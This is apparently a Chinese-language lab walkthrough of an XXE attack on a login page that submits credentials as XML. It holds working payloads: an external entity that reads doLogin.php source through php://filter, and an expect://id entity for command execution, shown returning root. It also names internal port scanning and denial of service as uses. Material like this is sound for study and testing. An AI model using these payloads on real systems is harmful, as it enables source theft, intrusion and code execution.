影响版本

与PHP版本无关

libxml 2.9.0以下image-20240707115249223

看到一个登录页面

抓个包看看

image-20240707115439227

发现userpassword都是以xml的格式上传的

使用经典payload测一测

外带DTD实体

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

读取成功

除了用伪协议读文件

利用方式二:还可以作为探针测试内网开放端口

利用方式三:代码执行,需要在特定环境下才能碰到,比如PHP expect模块被加载到了处理XML的应用程序上

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

响应:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

利用方式四:对内网服务器进行DOS攻击,由于可以通过该外部实体访问到内网服务器,因此可以通过该漏洞对内网服务器进行DOS攻击。

XXE漏洞利用技巧:从XML到远程代码执行 - FreeBuf网络安全行业门户